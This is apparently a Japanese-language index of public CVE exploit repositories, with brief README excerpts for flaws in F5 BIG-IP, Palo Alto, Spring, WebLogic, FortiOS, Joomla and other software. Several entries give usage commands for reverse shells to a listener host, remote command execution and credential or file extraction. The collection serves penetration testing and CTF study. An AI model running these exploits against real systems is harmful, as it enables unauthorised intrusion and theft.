CVE-2022-1388

CVE-2022-1388 F5 BIG-IP に影響する CVE-2022-1388 の PoC。 使い方 $ ./poc.sh --help Usage: poc.sh --help --file FILE --scan --exploit --payload PAYLOAD CVE-2022-1388 PoC script. One or multiple IPs can be scanned. Arguments: --help Show this help message and exit. --file FILE File list containing one or...

CVE-2020-15999

CVE-2020-15999 CVE-2020-15999脆弱性を悪用するスクリプトを含むリポジトリ 実行 脆弱性を悪用するには次のコマンドを実行します bash run.sh...

CVE-2024-3400-PoC

このリポジトリには、エクスプロイトのための安全な環境をセットアップするスクリプトと、以下のエクスプロイト段階を実行するスクリプトが含まれています： CVE-2024-3400 Palo Alto Firewall テスト環境 このリポジトリは、エクスプロイトをテストするために必要な構成でPalo Altoファイアウォールのテスト環境を迅速にセットアップできるシェルスクリプトを提供します。 必要条件 システムにDockerがインストールされていること。 Palo Altoファイアウォールコンテナイメージをダウンロードするためのインターネット接続。 使用方法 1...

CVE-2025-24893-EXP

CVE-2025-24893-EXP 影響を受けるバージョン xwiki-platform = 5.3-milestone-2, = 16.0.0-rc-1, 16.4.1 16.0.0-rc-1, 16.4.1 PoC https://github.com/projectdiscovery/nuclei-templates/blob/main/http/cves/2025/CVE-2025-24893.yaml CVE-2025-24893 - XWiki Platform エクスプロイト usage: python CVE-2025-24893.py -u -c 免責事項...

CVE-2022-22965-poc

CVE-2022-22965 poc CVE-2022-22965 poc はリバースシェルとパスワードサポートを含みます。 自由に追加してください : テスト方法 $ docker run -p 9090:8080 vulfocus/spring-core-rce-2022-03-29 run vulnerable docker $ python3 exploit.py -c id --password 1234 --shellname big0us $ python3 exploit.py --help for more usages クレジット...

CVE-2023-4197

CVE-2023-4197 これは CVE-2023-4197 用のシンプルなスクリプトですが、当初 HTB の broadlight マシンで動作しなかったため、少し修正を加えたものです。つまり、スクリプトを少し変更してから、ドキュメントの説明に従って使用する必要があります。...

CVE-2019-7609-KibanaRCE

CVE-2019-7609-KibanaRCE CVEをPython 3と互換性を持たせるために、軽微な変更が加えられました。cve-modific.py 以下が変更内容です。getkibanaversion関数内で、match = re.findallpattern, r.contentという行がmatch = re.findallpattern, r.textに更新されました。この変更は、r.contentではなくr.textを使用することで、レスポンスをバイト列ではなく文字列として扱えるようにするために行われました。 教育目的のため...

CVE-2018-15473

エクスプロイトをPython 2からPython 3に更新しています。倫理的にのみ使用してください :...

CVE-2023-34960

ChamiloCVE-2023-34960-EXP ヘルプ： usage: CVE-2023-34960.py -h -u URL -f FILE -c COMMAND options: -h, --help show this help message and exit -u URL, --url URL 完全なURLアドレスhttp/https -f FILE, --file FILE バッチURLファイル -c COMMAND, --command COMMAND コマンド実行（オプション） 例： 単一URL python3 CVE-2023-34960.py -u...

FortiOS-Credentials-Disclosure

FortiOS-Credentials-Disclosure CVE-2018-13379 エクスプロイト 使い方 : python CVE-2018-13379.py list.txt...

CVE-2023-34598

CVE-2023-34598 - Gibbon v25.0.0 LFI エクスプロイト このリポジトリには、Gibbon v25.0.0 におけるローカルファイルインクルージョン LFI の脆弱性 CVE-2023-34598 を特定し悪用するための Python スクリプトが含まれています。このスクリプトは、ターゲットのウェブサイトをスキャンして脆弱性の有無を確認し、成功した場合には SQL ダンプをダウンロードしてさらなる分析に使用できます。また、脆弱性の可能性があるターゲットを見つけるのに役立つ組み込みの FOFA クエリも提供します。 概要 名前: CVE-2023-34598....

CVE-2024-28397-Reverse-Shell

CVE-2024-28397-Reverse-Shell CVE-2024-28397 用のリバースシェル。 エクスプロイトは js2py = v0.74 で動作します。 要件 requests ライブラリ pip install requests Python3 Netcat リバースシェルのリスナーとして使用できるもの 使用方法 リスナー用 nc -lnvp 4444 エクスプロイト用 python3 exploit.py 10.129.66.160 8000 /runcode --localip 10.10.15.11 --localport 4444...

CVE-2017-1000250-PoC

CVE-2017-1000250-PoC CVE-2017-1000250 の概念実証エクスプロイトスクリプト。TTM4137 のエッセイの調査中に作成。...

CVE-2020-14882

CVE-2020-14882 このPythonスクリプトは、Oracle WebLogic Serverのリモートコード実行の脆弱性（CVE-2020-14882）を悪用して、脆弱なターゲットサーバ上でコマンドを実行し、その出力をHTTPリクエストを通じて取得するように設計されています。まず、ターゲットのWebLogic...

CVE-2022-1386

git clone https://github.com/satyasai1460/CVE-2022-1386.git cd CVE-2022-1386 apt install python3-pip pip install -r requirements.txt python3 exploit.py...

RCE-in-Spring-Cloud-CVE-2022-22963

Spring CloudのRCEエクスプロイト CVE 2022-22963 CVE-2022-22963 のエクスプロイト - Spring Cloud Functionにおけるリモートコマンド実行 脆弱性の詳細については、こちら と こちら を参照してください。 PoC 攻撃者のホスト上でnetcatを実行: $ nc -lvnp 9001 攻撃者のホスト上でデフォルトポート 9001 を使用してエクスプロイトを実行する（例）: $ ./exploit.sh site.com 10.10.14.122 ---Reverse Shell Exploit for CVE-2022-229...

Joomla-CVE-2023-23752-Exploit-Script

使い方 python exploit.py http://example.com...

CVE-2022-42889-text4shell

CVE-2022-42889-text4shell 説明 このスクリプトは、Apache Commons Text（バージョン -param $PARAMETER -L $LHOST -P $LPORT 例 python3 exploit.py -t 10.10.10.10 -p 8080 -u /search/ -param query -L 10.10.14.5 -P 139 免責事項 このツールは教育目的および許可されたペネトレーションテストのみを対象としています。作者は、このスクリプトの誤用またはそれによって生じた損害について一切の責任を負いません。...

CVE-2024-4439

CVE-2024-4439 のエクスプロイト このPythonスクリプトは、脆弱性 CVE-2024-4439 のエクスプロイトを実演します。このスクリプトを使用して、脆弱なWordPressサイトをテストできます。 使用方法 開始前に git clone https://github.com/soltanali0/CVE-2024-4439.git cd CVE-2024-4439 pip install -r r.txt --break-system-packages 以下のコマンドでスクリプトを実行します: python3 exploit.py -u...

CVE-2024-32002

CVE-2024-32002 1. exploit.sh ファイルを編集してください（リポジトリを置き換えてください） 2. bash exploit.sh を実行してください exploit.sh インスパイア元 - https://github.com/safebuffer/CVE-2024-32002 CTF用に作成 影響を受けるバージョン v2.45.0 v2.44.0 =v2.43.3 =v2.42.1 v2.41.0 =v2.40.1 =v2.39.3 出典...